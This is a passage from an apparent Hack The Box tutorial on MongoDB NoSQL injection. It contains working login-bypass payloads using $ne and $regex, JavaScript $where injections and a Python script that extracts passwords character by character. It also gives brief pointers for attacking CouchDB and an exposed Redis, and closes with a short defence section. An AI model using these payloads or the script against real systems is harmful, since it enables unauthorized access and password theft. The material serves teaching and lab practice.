NoSQL injection in MongoDB: bypass the login and extract passwords

Detect a NoSQL injection, get through a MongoDB login with $ne and $regex, and extract passwords one character at a time with a Python script.

· 3 min read

MongoDB does not speak SQL, but that does not make it immune to injection. Queries are JSON objects and, if the application puts what you send into them without checking its type, you can swap a value for an operator ($ne, $gt, $regex) or, in the worst case, for JavaScript the server evaluates.

The classic bug in Node.js with Express:

// The login expected two strings...
const user = await db.collection('users').findOne({
  username: req.body.username,
  password: req.body.password
});
// ...but if you send password[$ne]=x, Express hands it an object: { "$ne": "x" }

The query becomes "a user called admin whose password is not x": you are in without knowing it.

Detecting it

Signs that MongoDB is behind the app: a Node.js application (X-Powered-By: Express header), 24-character hex IDs such as 65a1f0c2e4b0a1b2c3d4e5f6, or errors mentioning MongoError or BSON.

Try each parameter and watch whether the response changes:

Payload What it tells you
' " \ { $ A 500 error or a stack trace: the value reaches the query
user[$ne]=x A different response from user=x: operators are accepted
{"user": {"$ne": null}} in JSON The same when the request is JSON
`'

Bypassing the login

With a normal form (application/x-www-form-urlencoded):

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password[$ne]=x

If the application accepts JSON (try switching the header even if the form does not use it):

POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": {"$ne": "x"}}

If you do not know the username, {"username": {"$ne": "x"}, "password": {"$ne": "x"}} returns the first one in the collection, which is usually the admin. To pick another one: {"username": {"$regex": "^adm"}, ...}.

Tip

On Shoppy the login builds the query by concatenating text inside a $where, so what works is the JavaScript version: admin'||'1'=='1 in the username.

Extracting the password with $regex

Getting in is nice, but often you need the password (or the hash) to reuse it over SSH. With $regex the query only succeeds if the password starts with what you try, so you can guess it one character at a time:

import requests, string

URL = "http://target.htb/login"
alphabet = string.ascii_letters + string.digits + "!@#%_-{}"
secret = ""

while True:
    for c in alphabet:
        guess = "^" + secret + c.replace(".", r"\.")
        r = requests.post(URL, data={"username": "admin", "password[$regex]": guess},
                          allow_redirects=False)
        if r.status_code == 302:  # successful login: redirect to the dashboard
            secret += c
            print(secret)
            break
    else:
        break  # no character matches: we have it all
print("Password:", secret)

Adapt the success check to what the site does (a redirect, a cookie, different text). With ^.{8}$ you find the length first, and the same trick on the username field gives you the list of users.

JavaScript injection ($where and mapReduce)

If the query uses $where or server-side JavaScript functions, you can inject your own logic:

' || '1'=='1                          // always true
' || this.password.match(/^a/) || 'a'=='b   // extract data as with $regex
'; sleep(5000); '                     // blind, time-based

In modern versions server-side JavaScript is very restricted, so do not expect to run commands: the goal is to bypass the logic and read data.

Other engines

  • CouchDB: REST API on port 5984; try /_all_dbs and /_users/_all_docs unauthenticated, and the old CVE-2017-12635 to create an admin.
  • Redis: not an injection, but if it is exposed without a password you can write an SSH key or a cron job with CONFIG SET dir.
  • Elasticsearch: /_cat/indices and /_search?q=* unauthenticated.

Defence

Validate the type of every field (a password must be a string, not an object), use mongo-sanitize or Mongoose's sanitizeFilter option, and never use $where with user input.

If the database is relational, move on to the SQL injection guide and the SQLi cheat sheet.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

NoSQL injection 1 machine

Spotted a mistake or something missing? Tell us